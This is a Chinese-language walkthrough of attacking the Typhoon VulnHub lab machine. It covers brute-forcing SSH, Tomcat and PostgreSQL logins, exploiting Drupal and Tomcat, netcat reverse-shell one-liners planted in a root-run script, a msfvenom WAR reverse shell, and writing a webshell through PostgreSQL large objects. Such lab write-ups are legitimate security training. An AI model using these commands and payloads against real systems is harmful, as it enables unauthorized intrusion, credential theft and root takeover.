kali滲透綜合靶機(九)--Typhoon靶機


kali滲透綜合靶機(九)--Typhoon靶機

靶機下載地址:https://www.vulnhub.com/entry/typhoon-102,267/

一、主機發現

1.netdiscover -i eth0 -r 192.168.10.0/24,進過分析,確定192.168.10.162是目標靶機

  

二、端口掃描

1. masscan --rate=10000 -p0-65535 192.168.10.162

  

三、端口服務識別

1. nmap -sV -T4 -O -p 110,139,631,21,46818,56669,143,53,5432,60954,8080,27017,22,25,3306,445,54180,995,6379,111,2049,37214,80,993 192.168.10.162

  

或nmap -sV -p- -A 192.168.10.162

  

  

  

四、漏洞查找與利用

21端口(ftp)

nmap掃描可以匿名訪問

  

瀏覽器訪問,發現什么都沒有

  

22端口(ssh)

發現ssh的版本是OpenSSH 6.6.1p1,存在用戶名枚舉漏洞,使用msf中的ssh枚舉腳本(auxiliary/scanner/ssh/ssh_enumusers)

使用cewl收集頁面可能是用戶的信息,並添加幾個常用的用戶名,制作一個用戶名字典

  

使用枚舉用戶腳本枚舉用戶

python 40136.py 192.168.10.162 -U user.txt

枚舉出來用戶名為vulnerablevm,www,admin,root,admin123

  

使用hydra破解密碼

hydra -l admin -P /root/rockyou.txt ssh://192.168.10.162 -t 6,下圖成功破解admin賬戶的密碼metallica

  

嘗試用admin賬戶ssh登錄目標,登錄成功

  

開始提權,提權方式與下面的提權方式一樣

25端口(smtp) 

發現開放25端口,版本為Postfix smtpd

使用smtp-user-enum 枚舉用戶名

smtp-user-enum -M VRFY -U user.txt -t 192.168.10.162,枚舉出用戶名admin

  

53端口(DNS  ISC BIND9.9.5-3)

查看是否存在漏洞,發現dns版本存在拒絕服務漏洞

  

80端口(http Apache httpd 2.4.7)

1.掃描網站后台目錄

  

1.1發現http://192.168.10.162/cms,嘗試弱口令,失敗

  

1.2漏洞庫查找是否有對應的漏洞

  

1.3在kali中打開msfconsole,並使用了以下exp

  

1.4成功獲得shell

  

1.5然后就是提權,提權方式有配置不當提權和內核提權

Drupal cms

2.1發現192.168.10.162/drupal/

  

2.2漏洞庫查找是否有對應的漏洞

  

2.3在kali中打開msfconsole,並使用了以下exp

  

2.4設置參數

  

2.5開始攻擊,成功獲得shell

  

2.6接下開便是提權了,提權方式和之前的一樣

1.3發現http://192.168.10.162/mongoadmin/

  

  

1.3.1發現是mondo的web管理頁面,點擊change database,出現如下

  

1.3.2點擊creds,發現賬戶密碼

  

1.3.3嘗試用ssh登錄,成功登陸

  

1.3.4查看系統版本以及內核版本

  

1.3.5在kali查看是否有對應的漏洞

  

1.3.6下載、編譯、提權

  

1.3.7利用sudo提權,前提是已經獲得當前普通用戶的密碼,並且當前用戶屬於sudo組,下圖成功獲得管理員權限

  

445端口

發現目標開放了445端口,使用enum4linux枚舉目標共享信息

  

發現允許空賬戶、空密碼登錄,共享文件typhoon

  

遠程掛載

mount -t cifs -o username='',password='' //192.168.10.162/typhoon /mnt 

  

8080(http Apache Tomcat/Coyote JSP engine 1.1)

發現開放了8080,瀏覽器訪問http://192.168.10.162:8080

  

dirb掃描http://192.168.10.162:8080

  

發現http://192.168.10.162:8080/manager/,提示需要輸入密碼

使用msf auxiliary/scanner/http/tomcat_mgr_login 破解tomcat用戶名密碼

  

成功獲得tomcat用戶名密碼

  

使用獲得的用戶名登錄,發現tomcat 的版本是Version 7.0.52

  

使用metasploit的一個模塊tomcat_mgr_upload來嘗試進行登錄,利用成功,獲得meterpreter會話

  

  

輸入shell,發現當前shell不是交互式的shell,重新打開一個交互式的shell

python -c 'import pty;pty.spawn("/bin/bash")'

  

開始提權

1.1查看內核版本以及系統版本

  

1.2利用系統版本的漏洞,進行本地提權

  

2.利用配置不當進行提權

  

2.2 我們需要使用Msfvenom創建一個bash代碼

 msfvenom -p cmd/unix/reverse_netcat lhost=192.168.10.151 lport=9999 R

2.3之后將上面生成的惡意代碼在目標靶機系統中添加到script.sh文件

echo "mkfifo /tmp/ruoljay; nc 192.168.10.151 9999 0</tmp/ ruoljay | /bin/sh >/tmp/ ruoljay 2>&1; rm /tmp/ ruoljay " > script.sh

  

2.4在攻擊端開啟監聽,目標端執行腳本,下圖可以看到直接獲得管理員權限

  

3.1用低權限用戶將構造的命令寫入script.sh,令文件調用以root身份運行的/bin/sh,然后反彈shell,就可以獲得root權限了

Echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 8888 >/tmp/f;”>script.sh

   

3.2在kali攻擊端監聽,獲得管理員權限

  

Tomcat的后台管理獲取shell

http://192.168.10.162:8080/manager/html

1.msfvenom來生WAR文件

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.10.151 lport=5555 -f war -o evil.war

  

2.使用7z l evil.war 查看evulll.war具體內容

  

3.上傳evil.war文件

  

4.攻擊端監聽,瀏覽器訪問上傳的惡意Web應用程序

http://192.168.10.162:8080/evil/wjsdgaavcuyf.jsp

  

5.這次攻擊端獲得反彈shell

  

6.接下來便是提權,方式和之前的一樣。

5432(PostgreSQL)

1.使用auxiliary/scanner/postgres/postgres_login,嘗試爆破PostgreSQL數據庫用戶名密碼

  

2.成功爆破出來PostgreSQL用戶名以及密碼

  

3.登錄數據庫

psql -h 192.168.10.162 -U postgres

  

4.列下目錄

  

5. 讀取權限允許的文件

select pg_read_file('postgresql.conf',0,1000);

  

6.建表,並使用copy從文件寫入數據到表

DROP TABLE if EXISTS MrLee;CREATE TABLE MrLee(t TEXT);COPY MrLee FROM '/etc/passwd';select * from MrLee limit 1 offset 0;

成功讀取到了/etc/passwd第一行

  

7.直接讀出所有數據

SELECT * FROM MrLee;

  

8.利用數據庫寫文件

INSERT INTO MrLee(t) VALUES('hello,MrLee');

COPY MrLee(t) TO '/tmp/MrLee';

  

SELECT * FROM MrLee;

顯示里面有一句hello,MrLee,成功寫入文件,並成功讀取到源內容

  

9.寫入木馬

9.1創建OID,清空內容

SELECT lo_create(9999);

delete from pg_largeobject where loid=9999;

//創建OID,清空內容

  

9.2接下來就是寫入木馬了,使用hex

  

insert into pg_largeobject (loid,pageno,data) values(9999, 0, decode('.....', 'hex'));

  

10.菜刀連接

  

11.接下來就是提權了

 

總結:

1.信息收集、目錄掃描、漏洞分析與利用

2.getshell方法

  1.ssh爆破

  2.lotus cms漏洞利用

  3.Drupal cms漏洞利用

  4.mongoadmin 數據庫管理web頁面查看用戶名、密碼

  5.tomcat tomcat_mgr_upload漏洞

  6.PostgreSQL未授權訪問 

3.提權方法

  1.sudo提權

  2.內核版本提權

  3.利用配置不當進行提權

  

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM